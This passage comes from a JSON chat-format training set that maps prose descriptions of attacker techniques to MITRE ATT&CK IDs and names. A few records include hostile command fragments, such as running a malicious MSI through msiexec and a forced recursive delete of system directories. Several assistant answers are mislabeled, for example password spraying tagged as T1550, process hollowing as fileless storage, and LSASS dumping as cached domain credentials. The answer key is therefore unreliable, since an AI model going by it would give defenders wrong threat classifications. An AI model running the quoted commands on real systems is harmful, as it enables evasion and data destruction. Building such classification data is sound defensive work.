                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro triggers an exploit of a vulnerable browser plugin, allowing the extraction of saved login cookies."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used HTML smuggling to deliver a ransomware payload, embedding the encrypted ransomware binary in a script tag and using the atob function to decode and execute it."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a malicious PDF file that exploits a vulnerability in the Adobe Reader plugin, causing the victim’s machine to download and execute a remote payload."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies a malicious binary from a compromised external server to the victim's host using HTTP GET requests."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor accessed the SNMP interface to dump the MIB, collecting sensitive configuration details."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses an automated tool to perform credential dumping from Docker container secrets."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors download the Kubernetes kubeconfig file from a developer's workstation to gain privileged cluster access."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a fraudulent digital certificate from a compromised Certificate Authority and use it to sign malicious PowerShell scripts."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code executes 'route print' to discover the host's routing table and network interfaces."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables Windows Event Tracing for Windows (ETW) to prevent logging of malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor exploits a web portal vulnerability to add a new email user to the organization’s Exchange server."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Establish Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ the ICE (Interactive Connectivity Establishment) protocol to negotiate a direct peer-to-peer connection through NAT devices, enabling data exfiltration without using a proxy."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a signed MSBuild binary to run a malicious inline task that writes a reflective loader into memory, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Backdoor sends a Remote Procedure Call (RPC) to the 'InitiateSystemShutdown' API, causing a forced shutdown."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool encrypts its command traffic with AES‑128, forming a symmetric encrypted channel to its C2."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload runs a command to display a list of connected peripheral devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware packs a PowerShell script inside a harmless PDF, using custom obfuscation to execute the payload when the document is opened."
            },
            {
                "role": "assistant",
                "content": "T1027.009 - Obfuscated Files or Information: Embedded Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a malicious network provider DLL to intercept and forward authentication traffic to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a malicious link to a victim via a LinkedIn direct message, prompting them to download a weaponized document."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker creates a UNIX domain socket listener on a compromised Linux machine and waits for a privileged process to connect, then issues arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using WMI, the actor set the Win32_ScheduledJob to run a malicious executable at system startup."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the Windows RPC mechanism to invoke functions in a privileged system service."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disguises a payload as a harmless PNG thumbnail; when the victim previews the thumbnail in a file explorer, the system executes the hidden malware."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the registry to hide a newly added user from the \"net user\" command output, ensuring the hidden account can execute malicious scripts silently."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors utilize process hollowing to replace the memory of a trusted process with malicious code, ensuring the payload never touches disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches a SYN flood against the organization's firewall."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cybercriminal utilizes input capture by hooking the Netlogon function to retrieve credentials during logon."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the DYLD_INSERT_LIBRARIES environment variable to force a victim process to load a malicious .dylib, achieving execution hijack."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses a Go-based client to authenticate to the victim’s Office 365 tenant and download the contents of the Inbox folder."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic is hidden within legitimate HTTP-like traffic but actually using non-application layer protocols like ICMP for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs a command-line program that pulls passwords from the Apple Keychain to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script adds a hidden user to the local \"Administrators\" group without user knowledge."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent access was achieved by installing a backdoor on the DNS server's management interface."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries query the Azure AD Graph API to retrieve group membership of service principals."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages Azure Service Bus queues to retrieve commands and upload exfiltrated data."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised credential allowed the intruder to alter VMware vSphere VM hardware profiles, modifying CPU and RAM."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries retrieve the saved device configuration from a management server to reconstruct the network topology."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group leverages password spraying across multiple accounts to find valid credentials and then authenticates to target systems."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages advanced Google dork queries to find publicly posted server configuration files containing passwords and private keys."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces the default application for .rtf files with a malicious executable, achieving execution whenever the file type is opened."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT group extracts audit logs from the host's Event Viewer to find evidence of prior compromise."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor used \"msiexec /passive /i malicious.msi\" to bypass Application Whitelisting and execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs AS‑REP roasting by sending AS requests for user accounts that have Kerberos pre‑authentication disabled, collecting the encrypted responses for offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign spreads by distributing infected USB sticks that contain a script which copies the ransomware to the local system and then to any other attached removable media."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks an existing SSH session by capturing the victim's authentication token from the client’s memory and replaying it to gain command line access."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a brute‑force attack against RDP on a corporate server, eventually obtaining administrative privileges and installing a remote access trojan."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised privileged account to invoke the \"Invoke-Command\" cmdlet, executing \"Remove-Item -Recurse -Force\" on system directories."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains a zero‑day exploit for a critical network switch firmware and incorporates it into their supply‑chain attack strategy."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes setting up a cron expression that triggers a data exfiltration tool every 15 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team script creates a hidden IAM role in the target AWS account to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the \"bash -c\" option to execute a one-liner that downloads and runs a binary from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the web application's authentication flow to encrypt session tokens with a reversible AES key, allowing them to decrypt later."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised privileged account was used to overwrite the CSS files of the internal dashboard, resulting in a defaced appearance."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses a compromised WordPress site’s REST API to retrieve and execute PowerShell scripts hidden in post meta data."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages ProcDump to capture a memory dump of the LSASS process, then extracts the cached domain credentials for later use."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encodes its data using a custom binary-to-text scheme similar to uuencode."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group conducts reconnaissance by retrieving the list of shared drives on remote servers using the 'smbclient -L' command."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An incident report describes how the intruder accessed securityd's RAM to harvest saved Wi‑Fi passwords and keychain entries."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive is left in a public area; when a user plugs it in, an autorun script launches a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a valid web session cookie from a compromised browser and uses it to masquerade as the user on the target web service."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised Azure App Service's managed identity to request a token from Azure AD, granting them elevated rights to other services."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects shellcode into system processes to extract credentials or other sensitive data, which technique does this describe?"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An instant messaging message contains a malicious executable attachment that the recipient runs, giving the attacker remote access."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks an existing legitimate extension’s update mechanism to push malicious code updates."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages Mimikatz's DCSync module to query a Domain Controller for user password hashes without needing to dump the SAM database."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries establish a malicious command‑and‑control channel by encrypting traffic with the victim's public RSA key, ensuring only the attacker can decrypt the data."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disabled the logging feature in the SaaS application’s cloud tenant to hide their activity."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT obtains a ransomware payload from an underground forum, then modifies it to suit their campaign objectives."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a zero‑day vulnerability in a web server to upload a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group downloads the SYSVOL share, extracts Group Policy Preference XML, and decodes stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan sets up a recurring rsync job via cron to push logs and passwords to an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used a custom-built VNC server to exfiltrate data and execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain unauthorized access to a third‑party web hosting service and upload a backdoor script to exfiltrate data from compromised users."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code employs the Windows \"wmic\" command to start a process that runs a hidden script."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary triggers execution of a malicious ELF binary via the 'chmod +x' and './' commands on a Linux system."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
